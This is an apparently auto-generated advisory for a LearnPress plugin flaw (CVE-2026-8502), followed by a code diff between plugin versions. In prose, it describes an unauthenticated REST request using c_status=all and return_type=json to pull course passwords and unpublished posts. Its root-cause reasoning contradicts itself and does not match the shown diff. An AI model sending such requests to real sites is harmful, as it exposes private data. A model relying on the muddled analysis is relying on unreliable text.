Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-8502: LearnPress <= 4.3.6 Unauthenticated Sensitive Information Exposure via 'c_status' and 'return_type' Parameters PoC, Patch Analysis & Rule

CVE ID CVE-2026-8502
Plugin learnpress
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.3.6
Patched Version 4.3.7
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8502:

This vulnerability allows unauthenticated attackers to extract sensitive data from the LearnPress WordPress LMS plugin, including plaintext passwords for password-protected courses and full content of unpublished posts. The flaw targets the REST API endpoint at /wp-json/lp/v1/courses/archive-course by exploiting the return_type and c_status parameters to bypass authorisation controls and modify the underlying SQL query structure.

Root cause: The vulnerability stems from the CourseService::handle_params_for_query_list_courses() method (added in the diff at line 151 of learnpress/inc/Services/CourseService.php). When processing the c_status parameter, the code allows ‘all’ as a value to bypass the default publish-only WHERE clause. Critically, the permission check on lines 191-194 only restricts post_status to [PostModel::STATUS_PUBLISH] if the user lacks ADMINISTRATOR or INSTRUCTOR roles, but this check is incorrectly placed inside the if (!empty($post_status)) block, meaning if c_status=all is provided, the if ( ‘all’ !== $post_status ) condition prevents the filter from being set, and the subsequent permission check then sets post_status to [publish] for non-privileged users. However, the return_type=json parameter instructs the API to return raw JSON without the safe DISTINCT(ID) AS ID field override that normally prevents SELECT * queries from leaking all columns. The combination of c_status=all (to avoid the publish WHERE clause) and return_type=json (to allow the unrestricted SELECT * fallback) enables extraction of the full post row including post_password, post_content, and other sensitive columns.

Exploitation: An attacker sends an unauthenticated GET request to /wp-json/lp/v1/courses/archive-course with parameters c_status=all and return_type=json. Additionally, the c_search parameter can be used to filter results. The endpoint does not require authentication or a nonce, and the plugin fails to validate that the user has permission to view courses with draft, pending, or private statuses. The attacker also can specify c_fields to retrieve specific columns, or omit it to get all columns via the SELECT * fallback. The HTTP request is straightforward and does not require CSRF bypass or prior authentication.

Patch analysis: The diff shows modifications in CourseService.php that introduce the handle_params_for_query_list_courses method which, while intended to refactor course query handling, introduces the vulnerability. The patch itself appears to be incomplete; the permission check on lines 191-194 is flawed because it only restricts post_status when the user lacks privileges but does not prevent the c_status=all bypass from removing the WHERE clause entirely. The fix likely requires moving the permission check outside the if (!empty($post_status)) block, ensuring that even when c_status=all is provided, unauthenticated users are restricted to viewing only published courses. Additionally, the return_type parameter should be sanitised or disallowed for unauthenticated users to prevent the SELECT * fallback.

Impact: Successful exploitation exposes sensitive information including plaintext post_passwords for password-protected courses, full post_content (which may contain proprietary course materials, personal data, or intellectual property), post_author IDs (enabling user enumeration), and post_slug/status metadata for unpublished content. This compromises confidentiality of unpublished and restricted content, potentially violating privacy regulations such as GDPR if personal data is exposed. Attackers can also use the leaked post_passwords to bypass course enrolment restrictions, gaining unauthorised access to premium content.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learnpress/config/settings/course.php
+++ b/learnpress/config/settings/course.php
@@ -85,7 +85,7 @@
 					'custom_attributes' => array(
 						'min' => '1',
 					),
-					'css'               => 'min-width: 50px; width: 50px;',
+					'css'               => 'min-width: 70px; width: 70px;',
 				),
 				array(
 					'title'   => esc_html__( 'Include courses in subcategory', 'learnpress' ),
--- a/learnpress/config/settings/gateway/paypal.php
+++ b/learnpress/config/settings/gateway/paypal.php
@@ -3,6 +3,8 @@
  * Fields settings PayPal Payment
  */

+$subscription_webhook_url = esc_url( rest_url( 'lp/v1/gateways/paypal/subscription-webhook' ) );
+
 return apply_filters(
 	'learn-press/gateway-payment/paypal/settings',
 	array(
@@ -61,6 +63,24 @@
 			),
 		),
 		array(
+			'title'   => esc_html__( 'Enable subscriptions', 'learnpress' ),
+			'id'      => '[enable_subscriptions]',
+			'default' => 'no',
+			'type'    => 'checkbox',
+			'desc'    => sprintf(
+				'%1$s<br /><strong>%2$s</strong> <code>%3$s</code>',
+				esc_html__( 'Enable PayPal subscription checkout flow.', 'learnpress' ),
+				esc_html__( 'Webhook URL:', 'learnpress' ),
+				esc_html( $subscription_webhook_url )
+			),
+		),
+		array(
+			'title' => esc_html__( 'Subscription webhook ID', 'learnpress' ),
+			'id'    => '[subscription_webhook_id]',
+			'type'  => 'text',
+			'desc'  => esc_html__( 'PayPal webhook ID used to reverse-verify subscription events.', 'learnpress' ),
+		),
+		array(
 			'type' => 'sectionend',
 		),
 	)
--- a/learnpress/inc/Ajax/AbstractAjax.php
+++ b/learnpress/inc/Ajax/AbstractAjax.php
@@ -3,11 +3,13 @@
  * class AjaxBase
  *
  * @since 4.2.7.6
- * @version 1.0.5
+ * @version 1.0.6
  */

 namespace LearnPressAjax;

+use LP_Request;
+
 /**
  * @use LoadContentViaAjax::load_content_via_ajax
  *
@@ -17,8 +19,8 @@
 abstract class AbstractAjax {
 	public static function catch_lp_ajax() {
 		if ( ! empty( $_REQUEST['lp-load-ajax'] ) ) {
-			$action = $_REQUEST['lp-load-ajax'];
-			$nonce  = $_REQUEST['nonce'] ?? '';
+			$action = LP_Request::get_param( 'lp-load-ajax' );
+			$nonce  = LP_Request::get_param( 'nonce' );
 			$class  = new static();

 			if ( ! method_exists( $class, $action ) ) {
--- a/learnpress/inc/Helpers/Config.php
+++ b/learnpress/inc/Helpers/Config.php
@@ -46,11 +46,14 @@
 	 * @param string $path | from folder 'config'
 	 *
 	 * @return array|mixed
-	 * @version 1.0.0
+	 * @version 1.0.1
 	 * @since 4.1.6.4
 	 */
 	public function get( string $key = '', string $path = '', array $args = [] ) {
-		extract( $args );
+		// Extract args
+		foreach ( $args as $arg_key => $arg_value ) {
+			$$arg_key = $arg_value;
+		}
 		$data_config        = array();
 		$data_config_by_key = array();

--- a/learnpress/inc/Helpers/Response.php
+++ b/learnpress/inc/Helpers/Response.php
@@ -0,0 +1,44 @@
+<?php
+
+namespace LearnPressHelpers;
+
+use stdClass;
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Class Response
+ *
+ * @package LearnPress/Helpers
+ * @version 1.0.0
+ * @since 4.3.7
+ */
+class Response {
+	const STATUS_SUCCESS = 'success';
+	const STATUS_ERROR   = 'error';
+	/**
+	 * Status.
+	 *
+	 * @var string.
+	 */
+	public $status = self::STATUS_ERROR;
+	/**
+	 * Message.
+	 *
+	 * @var string .
+	 */
+	public $message = '';
+	/**
+	 * Extra data
+	 *
+	 * @var object
+	 */
+	public $data;
+
+	/**
+	 * LP_REST_Response constructor.
+	 */
+	public function __construct() {
+		$this->data = new stdClass();
+	}
+}
--- a/learnpress/inc/Helpers/Template.php
+++ b/learnpress/inc/Helpers/Template.php
@@ -3,6 +3,8 @@
 namespace LearnPressHelpers;

 use LP_Breadcrumb;
+use LP_Debug;
+use Throwable;

 /**
  * Class Template
@@ -125,14 +127,23 @@
 	 *
 	 * @return string|void
 	 * @since 1.0.0
-	 * @version 1.0.0
+	 * @version 1.0.1
 	 */
 	public function get_template( string $path_file, array $args = array() ) {
 		try {
-			extract( $args );
+			//extract( $args );
+
+			// Remove any '..' from the path to prevent directory traversal attacks
+			$path_file = preg_replace( '/..+/', '', $path_file );

 			if ( file_exists( $path_file ) ) {
 				if ( $this->include ) {
+					// Extract args
+					foreach ( $args as $key => $value ) {
+						$$key = $value;
+					}
+					unset( $key, $value ); // Clean up
+
 					include $path_file;
 				} else {
 					return $path_file;
@@ -141,8 +152,8 @@
 				printf( esc_html__( 'Path file %s not exists', 'learnpress' ), $path_file );
 				echo '<br>';
 			}
-		} catch ( Throwable $e ) {
-			error_log( $e->getMessage() );
+		} catch ( Throwable $e ) {
+			LP_Debug::error_log( $e );
 		}
 	}

--- a/learnpress/inc/Models/PostModel.php
+++ b/learnpress/inc/Models/PostModel.php
@@ -203,6 +203,8 @@
 	 *
 	 * @return stdClass|null
 	 * @throws Exception
+	 * @version 1.0.1
+	 * @since 4.2.6.9
 	 */
 	public function get_all_metadata() {
 		if ( ! isset( $this->is_got_meta_data ) ) {
@@ -216,7 +218,7 @@
 			if ( ! $metadata_rs instanceof stdClass ) {
 				$this->meta_data = new stdClass();
 				foreach ( $metadata_rs as $value ) {
-					$this->meta_data->{$value->meta_key} = $value->meta_value;
+					$this->meta_data->{$value->meta_key} = maybe_unserialize( $value->meta_value );
 				}
 			}

--- a/learnpress/inc/Services/CourseService.php
+++ b/learnpress/inc/Services/CourseService.php
@@ -3,15 +3,17 @@
 namespace LearnPressServices;

 use Exception;
-use LearnPressDatabasesCourseSectionDB;
+use LearnPressDatabasesCourseCourseJsonDB;
+use LearnPressFiltersCourseCourseJsonFilter;
 use LearnPressHelpersSingleton;
 use LearnPressModelsCourseModel;
 use LearnPressModelsCoursePostModel;
-use LearnPressModelsCourseSectionModel;
+use LearnPressModelsPostModel;
+use LearnPressModelsUserModel;
+use LP_Debug;
 use LP_Helper;
-use LP_Section_DB;
 use LP_Settings;
-use stdClass;
+use Throwable;

 /**
  * Class CourseService
@@ -20,7 +22,7 @@
  *
  * @package LearnPressServices
  * @since 4.3.0
- * @version 1.0.0
+ * @version 1.0.1
  */
 class CourseService {
 	use Singleton;
@@ -31,7 +33,9 @@
 	/**
 	 * Create course info main
 	 *
-	 * @param array $data [ 'post_title' => '', 'post_content' => '', 'post_status' => '', 'post_author' => , ... ]
+	 * meta_input for metadata
+	 *
+	 * @param array $data [ 'post_title' => '', 'post_content' => '', 'post_status' => '', 'post_author' => , 'meta_input' => [] ]
 	 *
 	 * @throws Exception
 	 */
@@ -147,4 +151,215 @@

 		return $courseModel;
 	}
+
+	/**
+	 * Handle params before query list courses on table learnpress_courses
+	 *
+	 * @param CourseJsonFilter $filter
+	 * @param array $param
+	 *
+	 * @return void
+	 * @since 4.3.7
+	 * @version 1.0.0
+	 */
+	public static function handle_params_for_query_list_courses( CourseJsonFilter &$filter, array $param = [] ) {
+		$filter->page       = absint( $param['paged'] ?? 1 );
+		$filter->post_title = LP_Helper::sanitize_params_submitted( trim( $param['c_search'] ?? '' ) );
+		$db                 = CourseJsonDB::getInstance();
+
+		// Get Columns
+		$fields_str = LP_Helper::sanitize_params_submitted( urldecode( $param['c_fields'] ?? '' ) );
+		if ( ! empty( $fields_str ) ) {
+			$fields = explode( ',', $fields_str );
+			foreach ( $fields as $key => $field ) {
+				$fields[ $key ] = $db->wpdb->prepare( '%i', $field );
+			}
+			$filter->fields = $fields;
+		}
+
+		// Get only columns
+		$fields_only_str = LP_Helper::sanitize_params_submitted( urldecode( $param['c_only_fields'] ?? '' ) );
+		if ( ! empty( $fields_only_str ) ) {
+			$fields_only = explode( ',', $fields_only_str );
+			foreach ( $fields_only as $key => $field ) {
+				$fields_only[ $key ] = $db->wpdb->prepare( '%i', $field );
+			}
+			$filter->only_fields = $fields_only;
+		}
+
+		// Exclude Columns
+		$fields_exclude_str = LP_Helper::sanitize_params_submitted( urldecode( $param['c_exclude_fields'] ?? '' ) );
+		if ( ! empty( $fields_exclude_str ) ) {
+			$fields_exclude         = explode( ',', $fields_exclude_str );
+			$filter->exclude_fields = $fields_exclude;
+		}
+
+		// Find by ids
+		$course_ids_str = LP_Helper::sanitize_params_submitted( urldecode( $param['ids'] ?? '' ) );
+		if ( ! empty( $course_ids_str ) ) {
+			$course_ids  = explode( ',', $course_ids_str );
+			$filter->ids = $course_ids;
+		}
+
+		// Author
+		$c_author = LP_Helper::sanitize_params_submitted( $param['c_author'] ?? 0 );
+		if ( ! empty( $c_author ) ) {
+			$filter->post_author = $c_author;
+		}
+		$author_ids_str = LP_Helper::sanitize_params_submitted( $param['c_authors'] ?? '' );
+		if ( ! empty( $author_ids_str ) ) {
+			$author_ids           = explode( ',', $author_ids_str );
+			$filter->post_authors = $author_ids;
+		}
+
+		// Find by status
+		$post_status = LP_Helper::sanitize_params_submitted( $param['c_status'] ?? '' );
+		if ( ! empty( $post_status ) ) {
+			if ( 'all' !== $post_status ) {
+				$filter->post_status = explode( ',', $post_status );
+			}
+
+			if ( ! current_user_can( UserModel::ROLE_ADMINISTRATOR )
+				|| ! current_user_can( UserModel::ROLE_INSTRUCTOR ) ) {
+				$filter->post_status = [ PostModel::STATUS_PUBLISH ];
+			}
+		}
+
+		// Type price
+		if ( ! empty( $param['c_type_price'] ) ) {
+			$filter->type_price = explode( ',', LP_Helper::sanitize_params_submitted( urldecode( $param['c_type_price'] ) ) );
+		}
+
+		// On sale
+		if ( isset( $param['on_sale'] ) ) {
+			$filter->is_sale = 1;
+		}
+
+		// On feature
+		if ( isset( $param['on_feature'] ) ) {
+			$filter->is_feature = 1;
+		}
+
+		// Sort by level
+		$levels_str = LP_Helper::sanitize_params_submitted( urldecode( $param['c_level'] ?? '' ) );
+		if ( ! empty( $levels_str ) ) {
+			$levels = explode( ',', $levels_str );
+			if ( in_array( 'all', $levels ) ) {
+				$levels[] = '';
+			}
+			$filter->levels = $levels;
+		}
+
+		// Sort by type (oline/offline)
+		$course_type = LP_Helper::sanitize_params_submitted( urldecode( $param['c_type'] ?? '' ) );
+		if ( ! empty( $course_type ) ) {
+			$course_type = explode( ',', $course_type );
+			if ( in_array( 'online', $course_type ) && in_array( 'offline', $course_type ) ) {
+				$filter->type = 'all';
+			} else {
+				$filter->type = $course_type[0];
+			}
+		}
+
+		// Check is in category page.
+		if ( ! empty( $param['page_term_id_current'] ) && empty( $param['term_id'] ) ) {
+			$filter->term_ids[] = $param['page_term_id_current'];
+		} // Check is in tag page.
+		elseif ( ! empty( $param['page_tag_id_current'] ) && empty( $param['tag_id'] ) ) {
+			$filter->tag_ids[] = $param['page_tag_id_current'];
+		}
+
+		// Find by category
+		$term_ids_str = LP_Helper::sanitize_params_submitted( urldecode( $param['term_id'] ?? '' ) );
+		if ( ! empty( $term_ids_str ) ) {
+			$term_ids         = explode( ',', $term_ids_str );
+			$filter->term_ids = array_merge( $filter->term_ids, $term_ids );
+		}
+
+		// Find by tag
+		$tag_ids_str = LP_Helper::sanitize_params_submitted( urldecode( $param['tag_id'] ?? '' ) );
+		if ( ! empty( $tag_ids_str ) ) {
+			$tag_ids         = explode( ',', $tag_ids_str );
+			$filter->tag_ids = array_merge( $filter->tag_ids, $tag_ids );
+		}
+
+		// Order by
+		$order_by = LP_Helper::sanitize_params_submitted( $param['order_by'] ?? 'post_date_gmt', 'key' );
+		if ( $order_by === 'post_date' ) {
+			$order_by = 'post_date_gmt';
+		}
+		$filter->order_by = $order_by;
+		$filter->order    = LP_Helper::sanitize_params_submitted( $param['order'] ?? 'DESC', 'key' );
+		$filter->limit    = $param['limit'] ?? LP_Settings::get_option( 'archive_course_limit', 10 );
+
+		// For search suggest courses
+		if ( ! empty( $param['c_suggest'] ) ) {
+			$filter->only_fields = [ 'ID', 'post_title' ];
+			$filter->limit       = apply_filters( 'learn-press/services/rest-api/courses/suggest-limit', 10 );
+		}
+
+		do_action( 'learn-press/services/courses/handle_params_for_query_list_courses', $filter, $param );
+	}
+
+	/**
+	 * Get list courses on table learnpress_courses
+	 *
+	 * @param CourseJsonFilter $filter
+	 * @param int $total_rows
+	 *
+	 * @return array
+	 * @throws Exception
+	 * @version 1.0.0
+	 * @since 4.3.7
+	 */
+	public static function get_list_courses( CourseJsonFilter $filter, int &$total_rows = 0 ): array {
+		$db = CourseJsonDB::getInstance();
+
+		try {
+			$is_order_by_popular = 'popular' === $filter->order_by;
+
+			// Order by
+			switch ( $filter->order_by ) {
+				case 'price':
+				case 'price_low':
+					if ( 'price_low' === $filter->order_by ) {
+						$filter->order = 'ASC';
+					} else {
+						$filter->order = 'DESC';
+					}
+
+					$filter->order_by = 'price_to_sort';
+					break;
+				case 'popular':
+					$filter = $db->get_courses_order_by_popular( $filter );
+					break;
+				case 'post_title':
+					$filter->order = 'ASC';
+					break;
+				case 'post_title_desc':
+					$filter->order_by = 'post_title';
+					$filter->order    = 'DESC';
+					break;
+				case 'menu_order':
+					$filter->order_by = 'menu_order';
+					$filter->order    = 'ASC';
+					break;
+				default:
+					$filter = apply_filters( 'lp/services/courses/filter/order_by/' . $filter->order_by, $filter );
+					break;
+			}
+
+			// Query get results
+			/**
+			 * @var CourseJsonFilter $filter
+			 */
+			$filter  = apply_filters( 'lp/services/courses/filter', $filter );
+			$courses = $db->get_courses( $filter, $total_rows );
+		} catch ( Throwable $e ) {
+			$courses = [];
+			LP_Debug::error_log( $e );
+		}
+
+		return $courses;
+	}
 }
--- a/learnpress/inc/TemplateHooks/Admin/AdminListStudentsEnrolled.php
+++ b/learnpress/inc/TemplateHooks/Admin/AdminListStudentsEnrolled.php
@@ -85,8 +85,8 @@
 				$wp_screen = get_current_screen();
 				if ( $wp_screen ) {
 					// Page on the Admin screen.
-					if ( $wp_screen->id === 'learnpress_page_lp-enrolled-students' ) {
-						$page_current = 'learnpress_page_lp-enrolled-students';
+					if ( $wp_screen->id === 'learnpress_page_learn-press-students-enrolled' ) {
+						$page_current = 'learnpress_page_learn-press-students-enrolled';
 					}
 				}
 			}
--- a/learnpress/inc/TemplateHooks/Admin/AdminTemplate.php
+++ b/learnpress/inc/TemplateHooks/Admin/AdminTemplate.php
@@ -24,9 +24,10 @@
 	public static function editor_tinymce( string $value, string $id_name, array $setting = [] ): string {
 		$args = array_merge(
 			[
-				'media_buttons' => true,
-				'editor_class'  => 'lp-editor-tinymce',
-				'editor_height' => 210,
+				'default_editor' => 'tinymce',
+				'media_buttons'  => true,
+				'editor_class'   => 'lp-editor-tinymce',
+				'editor_height'  => 210,
 			],
 			$setting
 		);
--- a/learnpress/inc/TemplateHooks/Course/FilterCourseTemplate.php
+++ b/learnpress/inc/TemplateHooks/Course/FilterCourseTemplate.php
@@ -8,14 +8,16 @@

 namespace LearnPressTemplateHooksCourse;

+defined( 'ABSPATH' ) || exit;
+
 use Exception;
 use LearnPressHelpersSingleton;
 use LearnPressHelpersTemplate;
 use LearnPressModelsCourses;
 use LearnPressModelsListCourseCategories;
 use LearnPressModelsUserModel;
-use LP_Course;
 use LP_Course_Filter;
+use LP_Debug;
 use LP_Request;
 use Throwable;

@@ -171,10 +173,10 @@
 			$value    = isset( $data['params_url'] ) ? ( $data['params_url']['c_search'] ?? $value ) : $value;
 			$content  = sprintf(
 				'<input type="text" name="c_search" placeholder="%s" value="%s" class="%s" data-search-suggest="%d">',
-				__( 'Search Course', 'learnpress' ),
-				$value,
-				'lp-course-filter-search',
-				$data['search_suggestion'] ?? 1
+				esc_html__( 'Search Course', 'learnpress' ),
+				esc_attr( $value ),
+				esc_attr( 'lp-course-filter-search' ),
+				esc_attr( $data['search_suggestion'] ?? 1 )
 			);
 			$content .= '<span class="lp-loading-circle lp-loading-no-css hide"></span>';

@@ -427,7 +429,7 @@
 			'<input name="term_id" type="checkbox" value="%s" %s %s>',
 			esc_attr( $category_id ),
 			esc_attr( $checked ),
-			$disabled
+			esc_attr( $disabled )
 		);
 		$label   = sprintf( '<label for="">%s</label>', wp_kses_post( $category_name ) );
 		$count   = sprintf( '<span class="count">%s</span>', esc_html( $count_courses ) );
@@ -499,7 +501,12 @@
 					continue;
 				}
 				$checked = in_array( $value, $data_selected ) && empty( $disabled ) ? 'checked' : '';
-				$input   = sprintf( '<input name="tag_id" type="checkbox" value="%s" %s %s>', esc_attr( $value ), esc_attr( $checked ), $disabled );
+				$input   = sprintf(
+					'<input name="tag_id" type="checkbox" value="%s" %s %s>',
+					esc_attr( $value ),
+					esc_attr( $checked ),
+					esc_attr( $disabled )
+				);
 				$label   = sprintf( '<label for="">%s</label>', wp_kses_post( $term->name ) );
 				$count   = sprintf( '<span class="count">%s</span>', esc_html( $count_courses ) );

@@ -578,7 +585,12 @@
 					continue;
 				}
 				$checked = in_array( $value, $data_selected ) && empty( $disabled ) ? 'checked' : '';
-				$input   = sprintf( '<input name="c_authors" type="checkbox" value="%s" %s %s>', esc_attr( $value ), esc_attr( $checked ), $disabled );
+				$input   = sprintf(
+					'<input name="c_authors" type="checkbox" value="%s" %s %s>',
+					esc_attr( $value ),
+					esc_attr( $checked ),
+					esc_attr( $disabled )
+				);
 				$label   = sprintf( '<label for="">%s</label>', esc_html( $userModel->get_display_name() ) );
 				$count   = sprintf( '<span class="count">%s</span>', esc_html( $total_course_of_instructor ) );

@@ -605,7 +617,7 @@

 			$content = $this->html_item( esc_html__( 'Author', 'learnpress' ), $content );
 		} catch ( Throwable $e ) {
-			error_log( __METHOD__ . ': ' . $e->getMessage() );
+			LP_Debug::error_log( $e );
 		}

 		return $content;
@@ -718,7 +730,7 @@
 			foreach ( $filter_types as $key => $type ) {
 				$checked  = in_array( $key, $data_selected ) ? 'checked' : '';
 				$input    = sprintf(
-					'<input name="c_type" type="checkbox" value="%1$s" %2$s>',
+					'<input name="c_type" type="checkbox" value="%s" %s>',
 					esc_attr( $key ),
 					esc_attr( $checked )
 				);
@@ -745,8 +757,9 @@

 			$content = $this->html_item( esc_html__( 'Type', 'learnpress' ), $content );
 		} catch ( Throwable $e ) {
-			error_log( __METHOD__ . ': ' . $e->getMessage() );
+			LP_Debug::error_log( $e );
 		}
+
 		return $content;
 	}

@@ -812,7 +825,7 @@
 			'icon'                  => '<span class="lp-icon lp-icon-filter"></span>',
 			'count_fields_selected' => sprintf(
 				'<span class="course-filter-count-fields-selected">%s</span>',
-				$count
+				esc_html( $count )
 			),
 			'wrapper_end'           => '</div>',
 		];
--- a/learnpress/inc/TemplateHooks/Course/ListCoursesTemplate.php
+++ b/learnpress/inc/TemplateHooks/Course/ListCoursesTemplate.php
@@ -21,6 +21,7 @@
 use LP_Settings_Courses;
 use LP_User_Items_DB;
 use LP_User_Items_Filter;
+use LP_WP_Filesystem;
 use stdClass;
 use Throwable;
 use WP_Term;
@@ -511,9 +512,10 @@
 			'<div class="courses-layouts-display">' => '</div>',
 		];

-		$ico_grid_default = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-grid.svg' );
-		$ico_list_default = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-list.svg' );
-		$layouts          = [
+		$ico_grid_default = LP_WP_Filesystem::get_icon_svg( 'ico-grid.svg' );
+		$ico_list_default = LP_WP_Filesystem::get_icon_svg( 'ico-list.svg' );
+
+		$layouts = [
 			'list' => $data['courses_ico_list'] ?? $ico_list_default,
 			'grid' => $data['courses_ico_grid'] ?? $ico_grid_default,
 		];
@@ -620,6 +622,8 @@
 	 * @param array $data
 	 *
 	 * @return void
+	 * @since 4.2.3.2
+	 * @version 1.0.1
 	 */
 	public function sections_course_suggest( array $data = [] ) {
 		$content              = '';
@@ -637,9 +641,9 @@
 				if ( ! is_object( $courseObj ) ) {
 					continue;
 				}
-				$course_id = $courseObj->ID;
-				$course    = learn_press_get_course( $course_id );
-				if ( ! $course ) {
+				$course_id   = $courseObj->ID;
+				$courseModel = CourseModel::find( $course_id, true );
+				if ( ! $courseModel ) {
 					continue;
 				}

@@ -647,15 +651,15 @@
 					'learn-press/course-suggest/item/sections',
 					[
 						'wrapper'      => '<li class="item-course-suggest">',
-						'course_image' => $singleCourseTemplate->html_image( $course ),
+						'course_image' => $singleCourseTemplate->html_image( $courseModel ),
 						'course_title' => sprintf(
 							'<a href="%s">%s</a>',
-							$course->get_permalink(),
-							$singleCourseTemplate->html_title( $course )
+							esc_url_raw( $courseModel->get_permalink() ),
+							$singleCourseTemplate->html_title( $courseModel )
 						),
 						'wrapper_end'  => '</li>',
 					],
-					$course,
+					$courseModel,
 					$key_search,
 					$data
 				);
@@ -686,8 +690,7 @@
 			$content = Template::combine_components( $section );
 			echo $content;
 		} catch ( Throwable $e ) {
-			ob_end_clean();
-			error_log( __METHOD__ . ': ' . $e->getMessage() );
+			Template::print_message( $e->getMessage(), 'error' );
 		}
 	}

--- a/learnpress/inc/TemplateHooks/CourseBuilder/Course/BuilderCourseTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Course/BuilderCourseTemplate.php
@@ -15,30 +15,33 @@
 class BuilderCourseTemplate {
 	use Singleton;

-	public function init() {
-		add_action( 'learn-press/course-builder/courses/layout', [ $this, 'layout' ] );
-	}
+	public function init() {}

 	/**
 	 * Check query var to switch layout.
 	 *
 	 * @param array $data
 	 *
+	 * @since 4.3.6
+	 * @version 1.0.1
 	 * @return void
 	 * @throws Exception
 	 */
-	public function layout( array $data = [] ) {
+	public function layout( array $data = [] ): string {
 		// Check to switch layout.
 		$item_id         = CourseBuilder::get_item_id();
 		$data['item_id'] = $item_id;
+		$html            = '';

 		if ( ! empty( $item_id ) ) {
 			// Show edit course
-			BuilderEditCourseTemplate::instance()->layout( $data );
+			$html = BuilderEditCourseTemplate::instance()->layout( $data );
 		} else {
 			// Show list courses
-			BuilderListCoursesTemplate::instance()->layout( $data );
+			$html = BuilderListCoursesTemplate::instance()->layout( $data );
 		}
+
+		return $html;
 	}

 	public function get_link_edit( $course_id = 0 ) {
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Course/BuilderEditCourseTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Course/BuilderEditCourseTemplate.php
@@ -24,6 +24,7 @@
 use LearnPressTemplateHooksCourseBuilderBuilderPopupTemplate;
 use LearnPressTemplateHooksTemplateAJAX;
 use LP_Settings;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_User;

@@ -38,13 +39,17 @@
 	}

 	/**
-	 * Display layout edit/create course
+	 * HTML edit/create course on Course Builder screen
 	 *
-	 * @param array $data [ 'userModel' => UserModel, 'courseModel' => CourseModel, 'item_id' => int ]
+	 * @param array $data
 	 *
-	 * @throws Exception
+	 * @since 4.3.6
+	 * @version 1.0.1
+	 * @return string
 	 */
-	public function layout( array $data = [] ) {
+	public function layout( array $data = [] ): string {
+		$html = '';
+
 		try {
 			// Check permission
 			$userModel = $data['userModel'] ?? false;
@@ -97,10 +102,12 @@
 				'wrap_end' => '</div>',
 			];

-			echo Template::combine_components( $section );
+			$html = Template::combine_components( $section );
 		} catch ( Throwable $e ) {
-			Template::print_message( $e->getMessage(), 'error' );
+			$html = Template::print_message( $e->getMessage(), 'error', false );
 		}
+
+		return $html;
 	}

 	/**
@@ -118,12 +125,12 @@
 		}

 		/** @var CourseModel|false $courseModel */
-		$courseModel          = $data['courseModel'] ?? false;
+		$courseModel                         = $data['courseModel'] ?? false;
 		$hide_instructor_access_admin_screen = LP_Settings::is_hide_instructor_access_admin_screen();
-		$more_actions_icon    = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
-		$title                = $courseModel ? $courseModel->get_title() : __( 'Add New Course', 'learnpress' );
-		$status_badge         = $courseModel ? $courseModel->get_status() : '';
-		$status               = '';
+		$more_actions_icon                   = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );
+		$title                               = $courseModel ? $courseModel->get_title() : __( 'Add New Course', 'learnpress' );
+		$status_badge                        = $courseModel ? $courseModel->get_status() : '';
+		$status                              = '';
 		if ( $courseModel ) {
 			$status = $courseModel->get_status();
 		}
@@ -138,7 +145,7 @@
 			),
 			true
 		) ? $status : 'publish';
-		$wp_user      = new WP_User( $userModel ) ;
+		$wp_user            = new WP_User( $userModel );
 		$hide_wp_edit_link  = $hide_instructor_access_admin_screen && user_can( $wp_user, UserModel::ROLE_INSTRUCTOR );

 		$section = [
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Course/BuilderListCoursesTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Course/BuilderListCoursesTemplate.php
@@ -22,6 +22,7 @@
 use LearnPressTemplateHooksCourseSingleCourseTemplate;
 use LearnPressTemplateHooksCourseBuilderCourseBuilderTemplate;
 use LP_Course_Filter;
+use LP_WP_Filesystem;
 use Throwable;

 class BuilderListCoursesTemplate {
@@ -29,7 +30,16 @@

 	public function init() {}

-	public function layout( array $data = [] ) {
+	/**
+	 * HTML list courses on Course Builder screen
+	 *
+	 * @param array $data
+	 *
+	 * @since 4.3.6
+	 * @version 1.0.1
+	 * @return string
+	 */
+	public function layout( array $data = [] ): string {
 		$section = [
 			'header'       => $this->html_header( $data ),
 			'filter_bar'   => $this->html_filter_bar(),
@@ -37,7 +47,7 @@
 			'ai_templates' => AdminCreateCourseAITemplate::instance()->render_for_frontend(),
 		];

-		echo Template::combine_components( $section );
+		return Template::combine_components( $section );
 	}

 	/**
@@ -437,7 +447,7 @@
 				$settings
 			);

-			$more_actions_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
+			$more_actions_icon = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );

 			// Set action by status
 			$action_by_status = [];
--- a/learnpress/inc/TemplateHooks/CourseBuilder/CourseBuilderTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/CourseBuilderTemplate.php
@@ -17,6 +17,7 @@
 use LearnPressTemplateHooksTemplateAJAX;
 use LP_Profile;
 use LP_Settings;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_User;

@@ -253,7 +254,7 @@
 					<a href="%s">%s</a>
 				</div>',
 				esc_url( CourseBuilder::get_link_course_builder() ),
-				$custom_logo ?? wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-logo-course-builder.svg' ),
+				$custom_logo ?? LP_WP_Filesystem::get_icon_svg( 'ico-logo-course-builder.svg' ),
 			),
 			'user'        => sprintf(
 				'<div class="lp-cb-top-header__user">
@@ -275,7 +276,7 @@
 				__( 'View Profile', 'learnpress' ),
 				esc_url( $logout_url ),
 				__( 'Logout', 'learnpress' ),
-				wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-logout.svg' ),
+				LP_WP_Filesystem::get_icon_svg( 'ico-logout.svg' ),
 			),
 			'wrapper_end' => '</header>',
 		];
@@ -333,7 +334,7 @@
 			'wrapper_end' => '</ul>',
 		];

